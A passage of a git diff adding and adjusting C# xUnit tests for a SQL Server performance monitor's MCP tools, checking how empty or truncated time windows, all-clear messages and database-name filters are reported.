+        Assert.Equal(1, probes);
+        Assert.True(empty.WindowTruncated);
+        Assert.Null(empty.EffectiveStart);
+        Assert.Contains("holds no collection of query_snapshots", empty.TruncationNote, StringComparison.Ordinal);
+        Assert.False(withRows.WindowTruncated);
+        Assert.Equal(PerformanceMonitor.Common.McpHelpers.FormatEffectiveStart(start), withRows.EffectiveStart);
+    }
+
+    [Fact]
+    public async Task GetWaitingTasks_AnEmptyWindowTheCollectorRanIn_PastCoverage_CarriesTheFloorAndTheNote()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var now = DateTime.UtcNow;
+        /* Nothing waits for hours on a quiet server: the collector ran, and no task was waiting at any of its runs. */
+        await SeedLogRunsAsync("waiting_tasks", now.AddDays(-2), now, everyMinutes: 30);
+
+        var root = Root(await McpWaitTools.GetWaitingTasks(Service(), _serverManager, ServerName, hours_back: 168));
+
+        AssertTruncatedAt(EmptyHints(root), now.AddDays(-2), "waiting_tasks");
+    }
+
+    [Fact]
+    public async Task GetWaitingTasks_AnEmptyWindow_OverACoveredRange_SaysCovered()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var now = DateTime.UtcNow;
+        await SeedLogRunsAsync("waiting_tasks", now.AddHours(-168 - 1), now, everyMinutes: 30);
+
+        var root = Root(await McpWaitTools.GetWaitingTasks(Service(), _serverManager, ServerName, hours_back: 168));
+
+        AssertCovered(EmptyHints(root), now.AddHours(-168));
+    }
+
+    [Fact]
+    public async Task GetWaitingTasks_AnEmptyOneHourWindow_IsProbed_AndNamesTheFirstRunInIt()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var now = DateTime.UtcNow;
+        await SeedLogRunsAsync("waiting_tasks", now.AddMinutes(-35), now.AddMinutes(-35), everyMinutes: 30);
+
+        var root = Root(await McpWaitTools.GetWaitingTasks(Service(), _serverManager, ServerName, hours_back: 1));
+
+        AssertCoveredFrom(EmptyHints(root), now.AddMinutes(-35));
+    }
+
+    [Fact]
+    public async Task GetQueryStoreRegressions_AnAllClear_TheBaselineStartsInsideTheSevenDays_CarriesTheFloorAndTheNote()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var now = DateTime.UtcNow;
+        var floor = now.AddDays(-3);
+        /* The same average on both sides: no regression, so the answer is the all-clear. The baseline holds three of
+           its seven days, and a bare "no query regressed" would read as a verdict on all seven. */
+        await SeedRegressionAsync(floor, queryId: 1, avgUs: 1000, intervalId: 1);
+        await SeedRegressionAsync(now.AddHours(-1), queryId: 1, avgUs: 1000, intervalId: 2);
+
+        var root = Root(await McpQueryTools.GetQueryStoreRegressions(Service(), _serverManager, ServerName, hours_back: 24));
+
+        /* #4966: the window is cut, so the all-clear claim gives way to the shared cut sentence; the 25% threshold stays. */
+        var message = root.GetProperty("message").GetString()!;
+        Assert.Contains("more than 25% worse than its baseline", message, StringComparison.Ordinal);
+        Assert.EndsWith(". " + McpHelpers.CutWindowNothingMessage, message, StringComparison.Ordinal);
+        Assert.DoesNotContain("this IS the all-clear", message, StringComparison.Ordinal);
+        AssertTruncatedAt(EmptyHints(root), floor, "query_store_stats");
+        Assert.Contains("baseline_start", EmptyHints(root).GetProperty("truncation_note").GetString(), StringComparison.Ordinal);
+    }
+
+    /// <summary>#4966: the same all-clear over a baseline the store fully covers keeps its text, with no cut in the hints.</summary>
+    [Fact]
+    public async Task GetQueryStoreRegressions_AnAllClear_OverACoveredBaseline_KeepsTheAllClearSentence()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var now = DateTime.UtcNow;
+        await SeedRegressionAsync(now.AddDays(-9), queryId: 1, avgUs: 1000, intervalId: 1);
+        await SeedRegressionAsync(now.AddDays(-3), queryId: 1, avgUs: 1000, intervalId: 3);
+        await SeedRegressionAsync(now.AddHours(-1), queryId: 1, avgUs: 1000, intervalId: 2);
+
+        var root = Root(await McpQueryTools.GetQueryStoreRegressions(Service(), _serverManager, ServerName, hours_back: 24));
+
+        Assert.Contains("this IS the all-clear", root.GetProperty("message").GetString(), StringComparison.Ordinal);
+        Assert.False(EmptyHints(root).GetProperty("window_truncated").GetBoolean());
+    }
+
+    [Fact]
+    public async Task GetQueryStoreRegressions_AFilteredMiss_CarriesTheSameKeys_AndTheFloorIsTheTablesNotTheFilters()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var now = DateTime.UtcNow;
+        var floor = now.AddDays(-3);
+        await SeedRegressionAsync(floor, queryId: 1, avgUs: 1000, intervalId: 1);
+        await SeedRegressionAsync(now.AddHours(-1), queryId: 1, avgUs: 3000, intervalId: 2);
+
+        var root = Root(await McpQueryTools.GetQueryStoreRegressions(Service(), _serverManager, ServerName, hours_back: 24, database_name: "NoSuchDb"));
+
+        AssertTruncatedAt(EmptyHints(root), floor, "query_store_stats");
+        /* #5015: the probe is the table's, so the filter that matched nothing used to get the all-clear text. It says the filter missed. */
+        var message = root.GetProperty("message").GetString()!;
+        Assert.Contains("database_name 'NoSuchDb'", message, StringComparison.Ordinal);
+        Assert.Contains("the filter matched nothing and this is NOT the all-clear", message, StringComparison.Ordinal);
+        Assert.DoesNotContain("this IS the all-clear", message, StringComparison.Ordinal);
+    }
+
+    /// <summary>#5015: a filter that matches, and finds nothing wrong, is still the all-clear.</summary>
+    [Fact]
+    public async Task GetQueryStoreRegressions_AFilterThatMatches_AndFindsNothingWrong_IsTheAllClear()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var now = DateTime.UtcNow;
+        await SeedRegressionAsync(now.AddDays(-9), queryId: 1, avgUs: 1000, intervalId: 1);
+        await SeedRegressionAsync(now.AddDays(-3), queryId: 1, avgUs: 1000, intervalId: 3);
+        await SeedRegressionAsync(now.AddHours(-1), queryId: 1, avgUs: 1000, intervalId: 2);
+
+        var root = Root(await McpQueryTools.GetQueryStoreRegressions(Service(), _serverManager, ServerName, hours_back: 24, database_name: "Db"));
+
+        Assert.Contains("this IS the all-clear", root.GetProperty("message").GetString(), StringComparison.Ordinal);
+    }
+
+    /// <summary>
+    /// #5015: a filter whose database has captures in the baseline and none in the window is a missing recent side FOR THAT
+    /// DATABASE, not the all-clear: the server-wide probe saw both sides (another database wrote the window), and no query of
+    /// the filtered database was compared. The answer is the server-wide "nothing collected IN the last N hour(s)" one, with
+    /// the window hints, naming the database.
+    /// </summary>
+    [Fact]
+    public async Task GetQueryStoreRegressions_AFilteredDatabase_WithBaselineCapturesOnly_SaysItsWindowIsMissing_NotTheAllClear()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var now = DateTime.UtcNow;
+        var floor = now.AddDays(-3);
+        await SeedRegressionAsync(floor, queryId: 1, avgUs: 1000, intervalId: 1);
+        await SeedRegressionAsync(now.AddHours(-1), queryId: 2, avgUs: 1000, intervalId: 2, database: "Other");
+
+        var root = Root(await McpQueryTools.GetQueryStoreRegressions(Service(), _serverManager, ServerName, hours_back: 24, database_name: "Db"));
+
+        AssertTruncatedAt(EmptyHints(root), floor, "query_store_stats");
+        var message = root.GetProperty("message").GetString()!;
+        Assert.Contains("database_name 'Db'", message, StringComparison.Ordinal);
+        Assert.Contains("nothing of it collected IN the last 24 hour(s)", message, StringComparison.Ordinal);
+        Assert.Contains("NOT the all-clear", message, StringComparison.Ordinal);
+        Assert.DoesNotContain("this IS the all-clear", message, StringComparison.Ordinal);
+    }
+
+    /// <summary>
+    /// #5015: a filter whose database has captures in the window and none in the baseline has nothing to compare against FOR
+    /// THAT DATABASE: <c>unavailable</c>, worded like the server-wide no-baseline answer and naming the database, not the
+    /// all-clear.
+    /// </summary>
+    [Fact]
+    public async Task GetQueryStoreRegressions_AFilteredDatabase_WithWindowCapturesOnly_SaysItHasNoBaseline_NotTheAllClear()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var now = DateTime.UtcNow;
+        await SeedRegressionAsync(now.AddDays(-3), queryId: 2, avgUs: 1000, intervalId: 1, database: "Other");
+        await SeedRegressionAsync(now.AddHours(-1), queryId: 1, avgUs: 3000, intervalId: 2);
+
+        var root = Root(await McpQueryTools.GetQueryStoreRegressions(Service(), _serverManager, ServerName, hours_back: 24, database_name: "Db"));
+
+        Assert.Equal("unavailable", root.GetProperty("status").GetString());
+        var message = root.GetProperty("message").GetString()!;
+        Assert.Contains("database_name 'Db'", message, StringComparison.Ordinal);
+        Assert.Contains("no baseline", message, StringComparison.Ordinal);
+        Assert.Contains("NOT a clean bill of health", message, StringComparison.Ordinal);
+        Assert.DoesNotContain("this IS the all-clear", message, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public async Task GetQueryStoreRegressions_AnEmptyRecentSide_CarriesTheSameKeys()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var now = DateTime.UtcNow;
+        var floor = now.AddDays(-3);
+        /* History from before the recent window and nothing inside it: the answer names the missing recent side. */
+        await SeedRegressionAsync(floor, queryId: 1, avgUs: 1000, intervalId: 1);
+
+        var root = Root(await McpQueryTools.GetQueryStoreRegressions(Service(), _serverManager, ServerName, hours_back: 24));
+
+        Assert.Contains("nothing collected IN the last 24 hour(s)", root.GetProperty("message").GetString(), StringComparison.Ordinal);
+        AssertTruncatedAt(EmptyHints(root), floor, "query_store_stats");
+    }
+
+    [Fact]
+    public async Task GetQueryStoreRegressions_AnAllClear_OverACoveredBaseline_SaysCovered_AtTheBaselinesStart()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var now = DateTime.UtcNow;
+        await SeedRegressionAsync(now.AddDays(-9), queryId: 2, avgUs: 1000, intervalId: 3);
+        await SeedRegressionAsync(now.AddDays(-3), queryId: 1, avgUs: 1000, intervalId: 1);
+        await SeedRegressionAsync(now.AddHours(-1), queryId: 1, avgUs: 1000, intervalId: 2);
+
+        var root = Root(await McpQueryTools.GetQueryStoreRegressions(Service(), _serverManager, ServerName, hours_back: 24));
+
+        AssertCovered(EmptyHints(root), now.AddHours(-24 - 7 * 24));
+    }
+
+    [Fact]
+    public async Task GetQueryHeatmap_AFilteredMiss_PastCoverage_CarriesTheFloorAndTheNote()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var now = DateTime.UtcNow;
+        var floor = now.AddDays(-2);
+        await SeedQueryStatsAsync(floor, "0xH1");
+        await SeedQueryStatsAsync(now.AddDays(-1), "0xH2");
+
+        var root = Root(await McpQueryTools.GetQueryHeatmap(Service(), _serverManager, ServerName, hours_back: 168, database_name: "NoSuchDb"));
+
+        Assert.Contains("a database_name filter matching nothing collected", root.GetProperty("message").GetString(), StringComparison.Ordinal);
+        AssertTruncatedAt(EmptyHints(root), floor, "query_stats");
+    }
+
+    [Fact]
+    public async Task GetQueryHeatmap_AFilteredMiss_OverACoveredRange_SaysCovered()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var now = DateTime.UtcNow;
+        await SeedQueryStatsAsync(now.AddDays(-8), "0xH0");
+        await SeedQueryStatsAsync(now.AddDays(-2), "0xH1");
+
+        var root = Root(await McpQueryTools.GetQueryHeatmap(Service(), _serverManager, ServerName, hours_back: 168, database_name: "NoSuchDb"));
+
+        AssertCovered(EmptyHints(root), now.AddHours(-168));
+    }
+
+    [Fact]
+    public async Task GetQueryHeatmap_AnEmptyOneHourWindow_IsProbed_AndNamesTheFirstRowInIt()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var now = DateTime.UtcNow;
+        await SeedQueryStatsAsync(now.AddMinutes(-35), "0xH1");
+
+        var root = Root(await McpQueryTools.GetQueryHeatmap(Service(), _serverManager, ServerName, hours_back: 1, database_name: "NoSuchDb"));
+
+        AssertCoveredFrom(EmptyHints(root), now.AddMinutes(-35));
+    }
+
+    /// <summary>
+    /// #5015, RED: rows only from 30 days ago leave a 168-hour grid with no columns, and the answer used to say "nothing
+    /// collected IN the last 168 hour(s)" beside <c>window_truncated: false</c>, a contradiction. The store holds no
+    /// collection in the window, so the keys now say so.
+    /// </summary>
+    [Fact]
+    public async Task GetQueryHeatmap_RowsOnlyOutsideTheWindow_SaysTheStoreHoldsNothingInIt()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var now = DateTime.UtcNow;
+        await SeedQueryStatsAsync(now.AddDays(-30), "0xH0");
+
+        var root = Root(await McpQueryTools.GetQueryHeatmap(Service(), _serverManager, ServerName, hours_back: 168));
+
+        Assert.Contains("nothing collected IN the last 168 hour(s)", root.GetProperty("message").GetString(), StringComparison.Ordinal);
+        AssertNothingHeld(EmptyHints(root), "query_stats");
+    }
+
+    /* ───────────────────────── assertions ───────────────────────── */
+
+    /// <summary>
+    /// The window read of an <c>empty</c> status: the three keys sit under <c>hints</c> (the shape the Query Store module
+    /// miss uses), so the assertions below read them off that object, exactly as they read a data answer's root.
+    /// </summary>
+    private static JsonElement EmptyHints(JsonElement root)
+    {
+        Assert.Equal("empty", root.GetProperty("status").GetString());
+        return root.GetProperty("hints");
+    }
+
+    /// <summary>The store's data starts at <paramref name="floor"/>, later than the window asked for.</summary>
+    private static void AssertTruncatedAt(JsonElement root, DateTime floor, string table)
+    {
+        Assert.True(root.GetProperty("window_truncated").GetBoolean());
+        var effectiveStartText = root.GetProperty("effective_start").GetString()!;
+        Assert.EndsWith("Z", effectiveStartText, StringComparison.Ordinal);
+        var effectiveStart = ParseUtc(effectiveStartText);
+        Assert.True(Math.Abs((effectiveStart - floor).TotalSeconds) < 5,
+            $"effective_start {effectiveStart:o} should be the seeded floor {floor:o}");
+        var note = root.GetProperty("truncation_note").GetString();
+        Assert.NotNull(note);
+        Assert.Contains($"raw {table} retains", note, StringComparison.Ordinal);
+        AssertNoReachKey(root);
+    }
+
+    /// <summary>
+    /// #5015: an empty answer over a window the store holds no collection in. Not covered: <c>window_truncated</c> true, no
+    /// <c>effective_start</c> (null, there is no start to name) and a note that says so.
+    /// </summary>
+    private static void AssertNothingHeld(JsonElement root, string table)
+    {
+        Assert.True(root.GetProperty("window_truncated").GetBoolean());
+        Assert.Equal(JsonValueKind.Null, root.GetProperty("effective_start").ValueKind);
+        var note = root.GetProperty("truncation_note").GetString();
+        Assert.NotNull(note);
+        Assert.Contains($"holds no collection of {table}", note, StringComparison.Ordinal);
+        AssertNoReachKey(root);
+    }
+
+    /// <summary>The probe found data inside the slack: covered, and <c>effective_start</c> is where the data starts.</summary>
+    private static void AssertCoveredFrom(JsonElement root, DateTime firstInstant)
+    {
+        Assert.False(root.GetProperty("window_truncated").GetBoolean());
+        Assert.Equal(JsonValueKind.Null, root.GetProperty("truncation_note").ValueKind);
+        var text = root.GetProperty("effective_start").GetString()!;
+        Assert.EndsWith("Z", text, StringComparison.Ordinal);
+        Assert.True(Math.Abs((ParseUtc(text) - firstInstant).TotalSeconds) < 5,
+            $"effective_start {text} should be the first collection {firstInstant:o}");
+        AssertNoReachKey(root);
+    }
+
+    /// <summary>The store held the whole window: the keys are present, false and null, at the requested start.</summary>
+    private static void AssertCovered(JsonElement root, DateTime requestedStart)
+    {
+        Assert.False(root.GetProperty("window_truncated").GetBoolean());
+        Assert.Equal(JsonValueKind.Null, root.GetProperty("truncation_note").ValueKind);
+        var effectiveStartText = root.GetProperty("effective_start").GetString()!;
+        Assert.EndsWith("Z", effectiveStartText, StringComparison.Ordinal);
+        var effectiveStart = ParseUtc(effectiveStartText);
+        Assert.True(Math.Abs((effectiveStart - requestedStart).TotalMinutes) < 2,
+            $"effective_start {effectiveStart:o} should be the requested start {requestedStart:o}");
+        AssertNoReachKey(root);
+    }
+
+    /// <summary>#4966: where the page's rows stop names the oldest row it returned, as UTC with the Z.</summary>
+    private static void AssertOldestReturned(JsonElement root, DateTime oldestRow)
+    {
+        var text = root.GetProperty("oldest_returned_collection_time").GetString()!;
+        Assert.EndsWith("Z", text, StringComparison.Ordinal);
+        Assert.True(Math.Abs((ParseUtc(text) - oldestRow).TotalSeconds) < 2,
+            $"oldest_returned_collection_time {text} should be the oldest returned row {oldestRow:o}");
+    }
+
+    /// <summary>
+    /// All four payloads carry a page cut under <c>truncated</c>, and Darling's census fails
+    /// <c>effective_hours_back</c> in a block that holds one, so the reach is the instant alone.
+    /// </summary>
+    private static void AssertNoReachKey(JsonElement root) =>
+        Assert.False(root.TryGetProperty("effective_hours_back", out _));
+
+    /* ───────────────────────── seeding ───────────────────────── */
+
+    /* #5208: every seed statement joins one open transaction (PendingSeedSession) instead of committing on its own;
+       Service() commits it before anything reads, so the code under test sees the same rows in the same order. */
+    private Task ExecuteAsync(string sql, params object[] values) => _seed.ExecuteAsync(sql, values);
+
+    private Task SeedSnapshotAsync(DateTime at) => ExecuteAsync(@"
+INSERT INTO query_snapshots
+    (collection_id, collection_time, server_id, server_name, session_id, database_name, query_text, status,
+     blocking_session_id, cpu_time_ms, total_elapsed_time_ms)
+VALUES ($1, $2, $3, $4, 55, 'Db', 'SELECT 1', 'running', 0, 10, 20)",
+        _nextId++, Naive(at), _serverId, ServerName);
+
+    private Task SeedWaitingTaskAsync(DateTime at) => ExecuteAsync(@"
+INSERT INTO waiting_tasks (collection_id, collection_time, server_id, server_name, session_id, wait_type, wait_duration_ms, blocking_session_id, database_name)
+VALUES ($1, $2, $3, $4, 55, 'LCK_M_X', 3000, 60, 'Db')",
+        _nextId++, Naive(at), _serverId, ServerName);
+
+    /// <summary>One capture of <paramref name="queryHash"/>, with executions, so the heatmap has a cell for it.</summary>
+    private Task SeedIdleQueryStatsAsync(DateTime at, string queryHash) => ExecuteAsync(@"
+INSERT INTO query_stats
+    (collection_id, collection_time, server_id, server_name, database_name, query_hash, sql_handle,
+     last_execution_time, delta_execution_count, delta_worker_time, delta_elapsed_time, query_text)
+VALUES ($1, $2, $3, $4, 'Db', $5, $6, $2, 0, 0, 0, $7)",
+        _nextId++, Naive(at), _serverId, ServerName, queryHash, "0xS" + queryHash, "SELECT " + queryHash);
+
+    private Task SeedQueryStatsAsync(DateTime at, string queryHash) => ExecuteAsync(@"
+INSERT INTO query_stats
+    (collection_id, collection_time, server_id, server_name, database_name, query_hash, sql_handle,
+     last_execution_time, delta_execution_count, delta_worker_time, delta_elapsed_time, query_text)
+VALUES ($1, $2, $3, $4, 'Db', $5, $6, $2, 10, 5000, 5000, $7)",
+        _nextId++, Naive(at), _serverId, ServerName, queryHash, "0xS" + queryHash, "SELECT " + queryHash);
+
+    /// <summary>
+    /// One Query Store interval of a query at <paramref name="avgUs"/> CPU and duration: a baseline row or a regressed one.
+    /// <paramref name="database"/> is the database it belongs to ("Db" unless a test needs a second one to filter on).
+    /// </summary>
+    private Task SeedRegressionAsync(DateTime at, long queryId, long avgUs, long intervalId, string database = "Db") => ExecuteAsync(@"
+INSERT INTO query_store_stats
+    (collection_id, collection_time, server_id, server_name, database_name, query_id, plan_id,
+     execution_type_desc, execution_count, avg_duration_us, avg_cpu_time_us, avg_logical_io_reads,
+     runtime_stats_interval_id, query_text, last_execution_time)
+VALUES ($1, $2, $3, $4, $8, $5, 9, 'Regular', 100, $6, $6, 100, $7, 'SELECT * FROM dbo.Widgets', $2)",
+        _nextId++, Naive(at), _serverId, ServerName, queryId, avgUs, intervalId, database);
+
+    /// <summary>The collector's runs in collection_log, every <paramref name="everyMinutes"/> minutes, whether or not anything ran or waited.</summary>
+    private async Task SeedLogRunsAsync(string collector, DateTime firstUtc, DateTime lastUtc, int everyMinutes)
+    {
+        await ExecuteAsync($@"
+INSERT INTO collection_log (log_id, server_id, server_name, collector_name, collection_time, duration_ms, status, rows_collected)
+SELECT $1 + row_number() OVER (), $2, $3, $4, g.t, 12, 'SUCCESS', 0
+FROM generate_series($5::TIMESTAMP, $6::TIMESTAMP, INTERVAL {everyMinutes} MINUTE) AS g(t)",
+            _nextId, _serverId, ServerName, collector, Naive(firstUtc), Naive(lastUtc));
+        _nextId += 100_000;
+    }
+}
diff --git a/Lite.Tests/MeasurementContractCensusTests.cs b/Lite.Tests/MeasurementContractCensusTests.cs
index f1922689c4..02d52c5596 100644
--- a/Lite.Tests/MeasurementContractCensusTests.cs
+++ b/Lite.Tests/MeasurementContractCensusTests.cs
@@ -165,6 +165,8 @@ namespace PerformanceMonitorLite.Tests;
 /// copies a reader field that a <c>Darling.Storage</c> alias populated, and only the twin can see both
 /// ends of that copy.</para>
 /// </summary>
+[Trait("Reads", "Darling")]
+[Trait("Stage", "Guard")]
 public sealed class MeasurementContractCensusTests
 {
     /* ---------------- the swept population ---------------- */
@@ -547,13 +549,17 @@ private static readonly (string File, string Observation)[] Carriers =
     /// (one per observation — the instance observation's single <c>ClearServer</c> serves both SQL Server
     /// carriers; the statements and postmaster observations each <c>ClearGroups</c> their own family), Lite's
     /// two remove paths (a closed tab, a removed server) and Darling's two (reconcile-remove, and the same-id
-    /// reconnect #3653 A5 added). Stated as an exact set so a forget that appears anywhere else — or one of
+    /// reconnect #3653 A5 added), plus the Darling runner's one forget of a server's RDS endpoint verdicts, which both
+    /// of those host-loop branches call. Stated as an exact set so a forget that appears anywhere else — or one of
     /// these that disappears — is a diff to this list.
     /// </summary>
     private static readonly (string File, string Method, int Count)[] ForgetSites =
     {
         (ComparatorFile, "ClearGroups", 2),
         (ComparatorFile, "ClearServer", 1),
+        /* The runner's one RDS verdict forget, reached from both of the host loop's server-removal and changed-definition
+           branches; it clears that server's RDS endpoint verdicts and fresh login, not a delta baseline. */
+        (DarlingRunner, "ClearServer", 1),
         (DarlingHostLoop, "ClearServer", 2),
         (LiteRemovePaths, "ClearServer", 2),
     };
diff --git a/Lite.Tests/MuteRulesSurviveResetTests.cs b/Lite.Tests/MuteRulesSurviveResetTests.cs
index 02f2296803..706fcf2795 100644
--- a/Lite.Tests/MuteRulesSurviveResetTests.cs
+++ b/Lite.Tests/MuteRulesSurviveResetTests.cs
@@ -49,7 +49,7 @@ public void Dispose()
     [Fact]
     public async Task PermanentMuteRule_SurvivesArchiveAllAndReset()
     {
-        var initializer = new DuckDbInitializer(_dbPath);
+        using var initializer = new DuckDbInitializer(_dbPath);
         await initializer.InitializeAsync();
 
         var ruleId = Guid.NewGuid().ToString();
@@ -71,7 +71,7 @@ await InsertMuteRuleAsync(ruleId, createdAt, expiresAtUtc: null,
     [Fact]
     public async Task ExpiringMuteRule_SurvivesArchiveAllAndReset()
     {
-        var initializer = new DuckDbInitializer(_dbPath);
+        using var initializer = new DuckDbInitializer(_dbPath);
         await initializer.InitializeAsync();
 
         var ruleId = Guid.NewGuid().ToString();
@@ -94,7 +94,7 @@ await InsertMuteRuleAsync(ruleId, createdAt, expiresAt,
     [Fact]
     public async Task EmptyMuteRulesTable_DoesNotBreakReset()
     {
-        var initializer = new DuckDbInitializer(_dbPath);
+        using var initializer = new DuckDbInitializer(_dbPath);
         await initializer.InitializeAsync();
 
         var archiveService = new ArchiveService(initializer, _archiveDir);
diff --git a/Lite.Tests/NewerSchemaFileGuardTests.cs b/Lite.Tests/NewerSchemaFileGuardTests.cs
index 1660296931..19b5bac7b9 100644
--- a/Lite.Tests/NewerSchemaFileGuardTests.cs
+++ b/Lite.Tests/NewerSchemaFileGuardTests.cs
@@ -12,6 +12,7 @@ namespace PerformanceMonitorLite.Tests;
 /// #4727: a data file stamped with a schema version newer than the app's is refused, with a message naming both
 /// versions, and nothing is written to it. A read-only open would not be enough: the collectors would still fail.
 /// </summary>
+[Trait("Stage", "Guard")]
 public class NewerSchemaFileGuardTests : IDisposable
 {
     private readonly string _tempDir;
@@ -52,7 +53,7 @@ public async Task AFileStampedOneVersionAboveTheApp_IsRefused_AndNothingIsWritte
         var bytesBefore = SHA256.HashData(File.ReadAllBytes(_dbPath));
         var writtenBefore = File.GetLastWriteTimeUtc(_dbPath);
 
-        var initializer = new DuckDbInitializer(_dbPath);
+        using var initializer = new DuckDbInitializer(_dbPath);
         var refusal = await Assert.ThrowsAsync<SchemaVersionTooNewException>(() => initializer.InitializeAsync());
 
         Assert.Equal(newer, refusal.FileVersion);
@@ -75,10 +76,10 @@ public async Task AFileStampedOneVersionAboveTheApp_IsRefused_AndNothingIsWritte
     [Fact]
     public async Task AFileStampedAtTheAppsOwnVersion_StillOpens()
     {
-        var first = new DuckDbInitializer(_dbPath);
+        using var first = new DuckDbInitializer(_dbPath);
         await first.InitializeAsync();
 
-        var second = new DuckDbInitializer(_dbPath);
+        using var second = new DuckDbInitializer(_dbPath);
         await second.InitializeAsync();
 
         using var verify = new DuckDBConnection($"Data Source={_dbPath}");
diff --git a/Lite.Tests/ObjectLockingBudgetTests.cs b/Lite.Tests/ObjectLockingBudgetTests.cs
index 61d139961e..3dbc316b15 100644
--- a/Lite.Tests/ObjectLockingBudgetTests.cs
+++ b/Lite.Tests/ObjectLockingBudgetTests.cs
@@ -8,6 +8,7 @@
 
 using System;
 using System.IO;
+using System.Linq;
 using System.Text;
 using System.Text.Json;
 using System.Threading.Tasks;
@@ -110,11 +111,163 @@ public async Task DefaultCallStaysUnderBudget_AndAnExplicitLimitStillGetsEveryRo
         }
     }
 
+    /// <summary>
+    /// #5231: <c>database_name</c> (appended last) reaches the reader's one-database filter. Over the seeded 200
+    /// rows across 10 databases, one name returns exactly that database's 20 rows, omitting it or passing a blank
+    /// returns the whole server, and a name nothing was collected for gets the database named in its empty answer.
+    /// </summary>
+    [Fact]
+    public async Task DatabaseName_LimitsTheAnswerToThatDatabase()
+    {
+        await SeedAsync();
+
+        var json = await McpObjectStatsTools.GetObjectLocking(_dataService, _serverManager, ServerName,
+            limit: SeededRowCount, database_name: "TenantDb03");
+        Assert.False(McpHelpers.IsErrorEnvelope(json), $"tool returned an error: {json}");
+        using (var doc = JsonDocument.Parse(json))
+        {
+            var objects = doc.RootElement.GetProperty("objects");
+            Assert.Equal(SeededRowCount / DatabaseCount, objects.GetArrayLength());
+            foreach (var o in objects.EnumerateArray())
+                Assert.Equal("TenantDb03", o.GetProperty("database_name").GetString());
+            Assert.False(doc.RootElement.GetProperty("truncated").GetBoolean());
+        }
+
+        foreach (var unfiltered in new string?[] { null, "", "   " })
+        {
+            var all = await McpObjectStatsTools.GetObjectLocking(_dataService, _serverManager, ServerName,
+                limit: SeededRowCount, database_name: unfiltered);
+            using var allDoc = JsonDocument.Parse(all);
+            Assert.Equal(SeededRowCount, allDoc.RootElement.GetProperty("objects").GetArrayLength());
+        }
+
+        var none = await McpObjectStatsTools.GetObjectLocking(_dataService, _serverManager, ServerName,
+            database_name: "NoSuchDb");
+        Assert.False(McpHelpers.IsErrorEnvelope(none), $"tool returned an error: {none}");
+        Assert.Contains("NoSuchDb", none);
+        /* #5372 M2: the server HAS contention elsewhere, so this is `empty` (looked, found nothing in that database), not
+           `unavailable`, exactly as Darling's twin answers. */
+        using var noneDoc = JsonDocument.Parse(none);
+        Assert.Equal("empty", noneDoc.RootElement.GetProperty("status").GetString());
+    }
+
+    /// <summary>
+    /// #5372 M2: a server with no contention at all is still <c>unavailable</c> (or <c>not_collected</c>) for a filtered call,
+    /// so the status word keeps telling "nothing on this server" from "nothing in this database".
+    /// </summary>
+    [Fact]
+    public async Task DatabaseName_OnAServerWithNoContentionAtAll_IsNotEmpty()
+    {
+        var json = await McpObjectStatsTools.GetObjectLocking(_dataService, _serverManager, ServerName, database_name: "TenantDb03");
+        using var doc = JsonDocument.Parse(json);
+        Assert.NotEqual("empty", doc.RootElement.GetProperty("status").GetString());
+    }
+
+    /// <summary>
+    /// #5372 (r2 Low): a latest snapshot that holds an index with no contention anywhere is a true negative, so the word is
+    /// <c>empty</c> (the collector looked and found nothing), with or without a database chosen, in the sentence shape
+    /// Darling's twin uses. A server with no snapshot at all stays <c>unavailable</c> (the test above).
+    /// </summary>
+    [Fact]
+    public async Task ASnapshotWithNoContendedIndex_IsEmpty_NotUnavailable()
+    {
+        await SeedQuietAsync();
+
+        using var all = JsonDocument.Parse(await McpObjectStatsTools.GetObjectLocking(_dataService, _serverManager, ServerName));
+        Assert.Equal("empty", all.RootElement.GetProperty("status").GetString());
+        Assert.Equal($"No lock/latch contention on {ServerName} at the latest snapshot.", all.RootElement.GetProperty("message").GetString());
+
+        using var one = JsonDocument.Parse(await McpObjectStatsTools.GetObjectLocking(_dataService, _serverManager, ServerName, database_name: "QuietDb"));
+        Assert.Equal("empty", one.RootElement.GetProperty("status").GetString());
+        Assert.Equal($"No lock/latch contention in database 'QuietDb' or in any other database on {ServerName} at the latest snapshot.",
+            one.RootElement.GetProperty("message").GetString());
+    }
+
+    /// <summary>#5372 M2: the TRUNCATED and Complete sentences name the chosen database, as Darling's twin does.</summary>
+    [Fact]
+    public async Task DatabaseName_IsNamedInTheTruncatedAndCompleteSentences()
+    {
+        await SeedAsync();
+
+        using var capped = JsonDocument.Parse(await McpObjectStatsTools.GetObjectLocking(_dataService, _serverManager, ServerName,
+            limit: 5, database_name: "TenantDb03"));
+        Assert.True(capped.RootElement.GetProperty("truncated").GetBoolean());
+        Assert.Contains("lock/latch contention in database 'TenantDb03' at the latest", capped.RootElement.GetProperty("note").GetString());
+
+        using var whole = JsonDocument.Parse(await McpObjectStatsTools.GetObjectLocking(_dataService, _serverManager, ServerName,
+            limit: SeededRowCount, database_name: "TenantDb03"));
+        Assert.Equal("Complete: every index with lock/latch contention in database 'TenantDb03' at the latest snapshot is included.",
+            whole.RootElement.GetProperty("note").GetString());
+    }
+
+    /// <summary>
+    /// #5372 L1: rows that tie on the four summed waits (every row listed only for a lock promotion sums to 0) come back
+    /// in a fixed order, promotions first and then the four-part name, so two runs at the cap return the same rows.
+    /// Seeded in REVERSE name order so an unordered tie would hand back the wrong end.
+    /// </summary>
+    [Fact]
+    public async Task TiedRows_AtTheCap_ComeBackInAFixedOrder()
+    {
+        await SeedTiedAsync();
+
+        var first = await _dataService.GetIndexLockingAsync(_serverId, 3);
+        var second = await _dataService.GetIndexLockingAsync(_serverId, 3);
+        Assert.Equal(["Tied00", "Tied01", "Tied02"], first.Select(r => r.TableName));
